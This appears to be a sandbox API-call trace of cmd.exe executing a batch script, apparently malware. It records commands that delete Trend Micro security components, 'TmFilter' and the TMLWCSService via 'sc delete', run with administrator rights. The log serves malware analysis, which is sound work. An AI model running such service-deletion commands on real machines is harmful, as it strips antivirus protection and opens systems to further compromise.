0xb8 [0078.808] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.808] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.808] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.808] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.808] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.808] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.808] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.809] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.809] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.809] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.809] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.809] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.809] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.809] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.809] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.810] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Lilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.810] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Wlter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.810] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Cter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.810] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Ser\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.810] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="Sr\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.810] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="e\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.811] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="r0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.811] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="v\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.811] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="i\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.811] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="c\n64-9.4\"\n\nA\"\n") returned 1 [0078.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.811] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="e64-9.4\"\n\nA\"\n") returned 1 [0078.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.811] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="\n4-9.4\"\n\nA\"\n") returned 1 [0078.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.812] GetFileType (hFile=0xb8) returned 0x3 [0078.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.812] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.812] GetFileType (hFile=0x120) returned 0x3 [0078.812] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMLWCSService\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMLWCSService\n", lpUsedDefaultChar=0x0) returned 25 [0078.812] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x18, lpOverlapped=0x0) returned 1 [0078.812] GetProcessHeap () returned 0x240000 [0078.812] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.812] GetProcessHeap () returned 0x240000 [0078.812] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.812] GetProcessHeap () returned 0x240000 [0078.812] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.812] GetProcessHeap () returned 0x240000 [0078.812] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.812] GetProcessHeap () returned 0x240000 [0078.812] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25aa40 [0078.812] GetConsoleOutputCP () returned 0x1b5 [0078.813] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.813] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.813] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.813] GetProcessHeap () returned 0x240000 [0078.813] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.813] GetProcessHeap () returned 0x240000 [0078.813] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x42) returned 0x25aa90 [0078.813] GetProcessHeap () returned 0x240000 [0078.813] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0078.813] SetErrorMode (uMode=0x0) returned 0x1 [0078.813] SetErrorMode (uMode=0x1) returned 0x0 [0078.813] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.813] SetErrorMode (uMode=0x1) returned 0x1 [0078.813] GetProcessHeap () returned 0x240000 [0078.813] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0078.814] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.814] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.814] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.814] GetProcessHeap () returned 0x240000 [0078.814] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.814] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.814] GetLastError () returned 0x2 [0078.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.815] GetLastError () returned 0x2 [0078.815] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.815] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.815] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.815] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.815] GetLastError () returned 0x2 [0078.815] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.815] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.815] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.815] GetProcessHeap () returned 0x240000 [0078.815] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.815] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.816] GetProcessHeap () returned 0x240000 [0078.816] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa8) returned 0x259180 [0078.816] GetProcessHeap () returned 0x240000 [0078.816] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa8 [0078.816] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMLWCSService") returned 1 [0078.816] GetProcessHeap () returned 0x240000 [0078.816] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.816] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.816] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.816] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.817] GetProcessHeap () returned 0x240000 [0078.817] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.817] GetProcessHeap () returned 0x240000 [0078.817] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.817] GetProcessHeap () returned 0x240000 [0078.817] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.817] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMLWCSService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMLWCSService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TMLWCSService", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xad0, dwThreadId=0xacc)) returned 1 [0078.825] CloseHandle (hObject=0x54) returned 1 [0078.825] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.825] GetProcessHeap () returned 0x240000 [0078.825] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.825] GetEnvironmentStringsW () returned 0x261b10* [0078.825] GetProcessHeap () returned 0x240000 [0078.825] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.825] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.825] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.825] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.825] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0078.888] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.888] CloseHandle (hObject=0x50) returned 1 [0078.888] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.888] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.888] GetProcessHeap () returned 0x240000 [0078.888] HeapFree (in: 